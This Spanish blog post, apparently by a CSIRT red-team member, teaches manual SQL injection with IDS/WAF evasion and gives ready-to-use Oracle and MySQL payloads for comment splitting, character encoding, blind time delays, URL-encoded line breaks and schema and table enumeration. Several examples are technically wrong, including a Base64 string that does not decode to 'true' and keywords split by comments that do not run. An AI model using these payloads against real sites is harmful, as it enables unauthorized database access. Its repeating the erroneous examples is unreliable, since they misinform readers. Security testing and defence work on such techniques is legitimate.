SQLPAB o cómo explotar inyecciones SQL avanzadas
Muchos conoceréis la famosa herramienta SQLMAP, pero también habréis podido comprobar que su efectividad no es del 100%, incluso con el uso de los tampers, utilizados para nuestra causa actual: evadir IDS/WAF; y es aquí donde entra nuestra “herramienta” SQLPAB. Y por qué entrecomillo herramienta, pues porque realmente es una broma interna del equipo de redteam de CSIRTCV, es nuestra manera de hablar de las explotaciones manuales, por nuestro compañero y amigo Pablo Arias.
Como bien he comentado, vamos a centrarnos en la detección e inyección SQL manual, con algunos payloads de evasión de IDS/WAF; y es que la inyección SQL (SQLi) sigue siendo una de las vulnerabilidades más explotadas. A medida que los IDS (Sistemas de Detección de Intrusos) y los WAF (Web Application Firewall) mejoran, nosotros debemos recurrir a técnicas de evasión para burlar estos sistemas. Y es por esto, que en este post me centraré en algunos ejemplos prácticos de cómo evadir un IDS mediante SQLi en Oracle y MySQL, la mayoría de los cuales hemos utilizado en auditorias donde hemos encontrado algún WAF. Cabe mencionar, además, que otro de los motivos por los que preferimos el uso de inyecciones manuales es porque reduce significativamente el número de peticiones realizadas al servidor.
1. Evasión con Comentarios Multilínea
El uso de comentarios SQL (/*...*/) permite ocultar porciones de la consulta, haciendo que el IDS/WAF no detecte el ataque.
- Ejemplo ORACLE: SEL/**/ECT/**/user/**/FROM/**/dual/**/–
- Ejemplo MySQL: SEL/**/ECT/**/user()/**/–
El comentario multilínea, en estos casos, se utiliza para ocultar la palabra SELECT y los espacios evitando así que el IDS/WAF detecte cadenas SQL.
2. Evasión con Funciones SQL
Las funciones como CHAR() en MySQL o CHR() en Oracle permiten codificar caracteres y evadir firmas de detección.
- Ejemplo ORACLE: ‘ UNION SELECT CHR(116)||CHR(114)||CHR(117)||CHR(101) —
- Ejemplo MySQL: ‘ UNION SELECT CHAR(116, 114, 117, 101) –
En estos ejemplos con CHR y CHAR evitaríamos que el IDS/WAF detecte la palabra true.
3. Evasión con Funciones de Longitud y ASCII
Usar funciones como LENGTH() y ASCII() permite hacer comparaciones inteligentes, dificultando la detección.
- Ejemplo ORACLE: ‘ OR 33 = (ASCII(SUBSTR(user, 1, 1))) —
- Ejemplo MySQL: ‘ OR LENGTH(user) > 5 —
La función ASCII(SUBSTR(user, 1, 1)) evalúa el valor ASCII del primer carácter del nombre de usuario. En este caso, se está verificando si el primer carácter tiene un valor ASCII de 33 (que corresponde al signo de exclamación !) y en el ejemplo de MySQL, se evalúa la longitud del nombre de usuario, por ejemplo, si user tiene más de 5 caracteres, la condición es verdadera. Estos dos ejemplos pueden evadir detección, ya que no incluyen palabras clave clásicas de inyección como UNION o SELECT.
4. Evasión con Codificación (Hex y Base64)
La codificación en hexadecimal o Base64 también es útil para evadir la detección de patrones típicos.
- Ejemplo ORACLE: ‘ UNION SELECT UTIW== —
- Ejemplo MySQL: ‘ UNION SELECT 0x74657374 —
El primer ejemplo tiene la palabra true codificada en Base64, y el segundo ejemplo tiene la palabra test en hexadecimal, los cuales dificultan su detección.
5. Evasión con Retrasos (Blind SQL Injection)
Los ataques tipo blind utilizan retrasos (delays) para obtener información sin revelar datos directamente, lo que puede eludir los IDS/WAF.
- Ejemplo ORACLE: ‘ OR 1=1 AND DBMS_LOCK.SLEEP(5) —
- Ejemplo MySQL: ‘ OR IF(1=1, SLEEP(5), 0) —
Si la condición es verdadera, introduce un retraso de 5 segundos, lo que dificulta la detección por un IDS/WAF que no monitoriza el tiempo de respuesta.
6. Evasión con URL Encoding (Codificación de URL)
La codificación URL (%0D%0A) puede evadir los IDS/WAF que no manejan correctamente las secuencias codificadas en la URL.
- Ejemplo ORACLE: ‘ UNION%0D%0ASELECT%0D%0ANULL,NULL%0D%0A–
- Ejemplo MySQL: ‘ UNION%0D%0ASELECT%0D%0ANULL,NULL%0D%0A–
La secuencia %0D%0A es la codificación URL de los saltos de línea (\r\n). Al usar este tipo de codificación, el IDS/WAF puede no detectar las palabras clave UNION SELECT, ya que el ataque está en una forma codificada que no puede ser interpretada de manera sencilla por las herramientas de detección.
7. Evasión combinando métodos
Cuando un IDS/WAF tiene reglas muy avanzadas, a veces es necesario el uso de combinaciones de métodos de evasión.
- Ejemplo ORACLE: -1/**//*!uNIon*//**//*!sELEct*//**/1,owner,table_name,3,4/**//*!fROm*//**/all_tables/**/where/**/rownum/**/BETWEEN/**/3/**/AND/**/5/*=*/–
- Ejemplo MySQL: -1/**//*!uNIon*//**//*!sELEct*//**/1,schema_name,3,4,5/**//*!fROm*//**/information_schema.schemata/**/limit/**/1/**/offset/**/3/*=*/–
En los ejemplos de MySQL y ORACLE se han utilizado una combinación del uso de los comentarios multilínea /**/, la negación ! dentro del comentario para que no se interprete como tal y la mayúscula y minúscula para evadir los filtros que no suelen ser case sensitive.
Con todo esto, podemos concluir que la evasión de IDS en ataques de SQLi se puede lograr mediante técnicas como comentarios, uso de funciones, codificación y retrasos. Estos métodos permiten que los atacantes eludan las firmas de detección comunes.
Para protegerse de estos ataques, es esencial usar consultas parametrizadas, validar entradas y mantener una monitorización activa.

Speak Your Mind